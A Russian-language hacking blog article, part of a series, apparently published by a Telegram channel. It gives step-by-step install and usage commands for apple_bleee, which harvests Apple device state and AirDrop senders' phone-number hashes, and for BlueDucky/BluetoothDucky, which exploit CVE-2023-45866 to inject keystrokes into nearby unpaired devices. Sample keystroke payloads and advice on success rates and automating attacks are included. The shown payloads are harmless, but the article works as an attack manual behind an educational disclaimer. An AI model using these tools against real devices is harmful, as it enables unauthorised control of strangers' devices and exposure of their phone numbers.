Атаки на Bluetooth. Часть 2. «Яблоко и синяя утка»
Введение
Рады снова приветствовать тебя, дорогой читатель! В этой статье мы продолжим раскручивать тему атак на Bluetooth. В прошлой статье мы разобрали лёгкий и очевидный вид атак — это заглушка. В этих атаках нет ничего сложного.
Но в этой статье мой друг, мы подготовили для тебя нечто более интересное. Эти атаки мало кто затрагивал, но возможно мы ошибаемся, так как судим по своему субъективному мнению, но при поиске похожих материалов результат был либо очень мал, либо его вовсе не было.
Дисклеймер: Все данные предоставленные в статье взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Apple_bleee или приколы с яблоком
Что это?
Эти скрипты демонстрируют, как злоумышленник может получить конфиденциальную информацию, например, уникальные идентификаторы устройств Apple, если он перехватит трафик Bluetooth. Они служат для иллюстрации потенциальных уязвимостей и могут быть использованы в образовательных целях или для тестирования безопасности.
Установка
Для установки нам потребуется установить некоторое множество необходимых компонентов.
Установка самих скриптов
git clone https://github.com/hexway/apple_bleee.git
cd apple_bleee
Установка компонентов и модулей
sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev
sudo pip3 install -r requirements.txt
Установка owl для интерфейса AWDL
git clone https://github.com/seemoo-lab/owl.git && cd ./owl && git submodule update --init && mkdir build && cd build && cmake .. && make && sudo make install && cd ../..
Или просто
apt install owl
Использование
Для начала убедимся в том, что наш Bluetooth-адаптер в активном состоянии командой hcitool dev
Скрипт ble_read_state.py слушает передачу данных по BLE и отображает информацию о состоянии устройств Apple. Кроме того, программа обнаруживает запросы на обмен паролями с устройствами Apple. В этих пакетах можно извлечь первые три байта хэша sha256 (номер_телефона) и попытаться угадать исходный номер телефона, используя предварительно подготовленные таблицы с хэш-значениями номеров.
Для запуска мониторинга используем данный скрипт с помощью следующей команды:
python3 ble_read_state.py
Мы можем отслеживать состояние устройства, увидеть какое это конкретно устройство, подключено ли к Wi-Fi и тип и версию операционной системы.
Переходим к следующему скрипту airdrop_leak.py. Данный скрипт позволяет получить номер мобильного телефона любого пользователя, который пытается отправить файл через AirDrop. Как раз для него нам и нужен AWDL интерфейс. Поэтому переводим адаптер в режим мониторинга и запускаем owl.
Без параметров скрипт просто отображает хэш телефона и IPv6-адрес отправителя.
Скрипт adv_wifi.py инициирует передачу сообщений BLE для запроса обмена паролем WiFi. Этот демонстрационный пример показывает, что злоумышленник способен вызвать появление всплывающего сообщения на целевом устройстве, если он знает номер телефона или адрес электронной почты, привязанный к устройству жертвы.
sudo python3 adv_wifi.py -e pr@hexway.io -s hexway
Скрипт adv_airpods.py создает имитацию работы AirPods путем отправки сообщений по протоколу BLE.**
sudo python3 adv_airpods.py -r
При помощи этого набора скриптов можно много чего придумать, опять же всё зависит от фантазии. Таким же образом можно автоматизировать использование этих скриптов ну условно том же Raspberry Pi и придумать что-то более интересное.
BlueDucky или BluetoothDucky. Весёлая синяя утка
Что это?
А вот теперь мы переходим к самому интересному инструменту этой статьи! Но для начала немного предыстории.
Уязвимость с идентификатором CVE-2023–45866 может быть эксплуатирована без использования специализированного оборудования. Атака осуществляется с компьютера, работающего под управлением Linux, при помощи стандартного Bluetooth-адаптера. Инженер Марк Ньюлин обнаружил эту проблему и сообщил о ней компаниям Apple, Google, Canonical и Bluetooth SIG. Эта атака позволяет злоумышленнику, находящемуся рядом с компьютером жертвы, эмулировать нажатия клавиш и осуществлять вредоносные действия на устройствах, не требующих ввода пароля или биометрической аутентификации.
BlueDucky — мощный инструмент для эксплуатации уязвимостей в устройствах Bluetooth. Запустив этот скрипт, вы сможете:
Загружать сохраненные устройства Bluetooth, которые больше не видны, но Bluetooth все еще включен.
Автоматически сохранять все сканируемые устройства.
Отправлять сообщения в формате сценария Ducky для взаимодействия с устройствами.
Установка
Для начала нужно установить все зависимости из apt.
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
Далее установить pyluez.
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
Установить bdaddr из репозитория bluez.
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Ну и устанавливаем и запускаем сам инструмент.
git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py
Использование
Ну и приступаем наконец к демонстрации! В нашем инструменте уже заранее заготовлено два сценария с полезной нагрузкой. Первый переводит на сайт, а второй выводит какое-либо сообщение.
Файл payload_example_1.txt:
REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300
Файл payload_example_2.txt:
REM This is a comment and will not run
STRING lifehackLL
DELAY 200
GUI s
На смартфонах скрипты могут работать не совсем корректно, так как изначально были написаны для ПК устройств. Однако, вот к примеру, второй скрипт хорошо работает на смартфонах. Для проведения атаки не обязательно сопряжение с устройством, её можно провести просто так. Однако, по нашим наблюдениям, атака срабатывает с шансом 1 к 3. Это означает, что вероятность успешной атаки составляет около 33%. Важно учитывать этот факт при планировании и проведении атак на смартфоны. Необходимо быть готовым к возможным неудачам и иметь стратегию действий в случае неудачного выполнения скрипта. Тем не менее, возможность проведения атак без сопряжения с устройством открывает новые перспективы для тестирования безопасности и обнаружения уязвимостей на мобильных устройствах.
Для запуска нам нужно лишь прописать python3 BlueDucky.py
. По-умолчанию инструмент использует адаптер hci0, но если вам нужно задействовать сторонний адаптер, например hci1, тогда прописываем флаг --adapter hci1
.
Но перед этим необходимо просканировать устройства, для получения MAC-адреса командой hcitool scan
.
Далее запускаем наш скрипт, прописываем MAC интересующего нас устройства и выбираем пейлоад, мы выберем второй.
Ну теперь наблюдаем за результатом, допустим мы с кем-то переписывались в Telegram, и тут к нам подключились, ввели даже без всплывающей клавиатуры некоторый текст, а позже у нас открылось приложение сообщений.
Существует альтернативный скрипт, который, по нашему мнению, работает намного интереснее. Его главное преимущество заключается в том, что его можно автоматизировать при необходимости. Установка этого скрипта абсолютно идентична установке предыдущего, но он называется полным названием BluetoothDucky и имеет систему параметров при запуске, что позволяет его автоматизировать. Этот скрипт открывает новые возможности для работы с устройствами Bluetooth и может быть настроен для выполнения различных задач. Автоматизация процесса его запуска делает использование скрипта более эффективным и удобным. Благодаря этому скрипту пользователь может легко осуществлять различные действия с устройствами Bluetooth, оптимизируя свою работу и повышая эффективность использования уязвимости.
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
Из особенностей эта версия инструмента имеет режим сканирования, правда работает он с ошибками, но работает.
Эта версия также имеет свой пейлоад, лёгкий и незамысловатый.
REM open a text field on the android device to test if it is working
DELAY 1000
STRING robot was here
DELAY 1000
Enter
DELAY 1000
Опять же вы можете спокойно внести изменения в этот файл и написать свои действия.
Запуск происходит следующим образом и в принципе довольно понятно и просто:
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
У этого инструмента ещё имеется такая прикольная фишка, что если прошлая (в этой статье) версия этого инструмента по-сути, эксплуатировала полезную нагрузку только один раз, то эта версия делает это чуть ли не циклично.
Думаю как вы уже догадались, мы отдали бы своё предпочтение второму скрипту, так как он более практичен и даже в большей степени автономен и как мы уже говорили, его можно автоматизировать, а автоматизация каких-либо атак уже само по себе звучит весьма интересно, особенно таких как эта атака.
Заключение
В представленной статье мы обратили ваше внимание на менее известные атаки на Bluetooth, которые могут быть широко использованы злоумышленниками. Одним из примеров является уязвимость с идентификатором CVE-2023–45866, которая позволяет атакующему без специализированного оборудования взламывать устройства через Bluetooth. Это означает, что даже обычный компьютер с Bluetooth-адаптером может быть использован для эксплуатации уязвимости. Поэтому важно быть внимательным к безопасности Bluetooth-соединений, особенно если ваш телефон постоянно подключен к наушникам или колонкам.
LHMedia в телеграме:
Life-Hack — Хакер / Хакинг
Новостной канал
Канал с бесплатными видео курсами
Юмор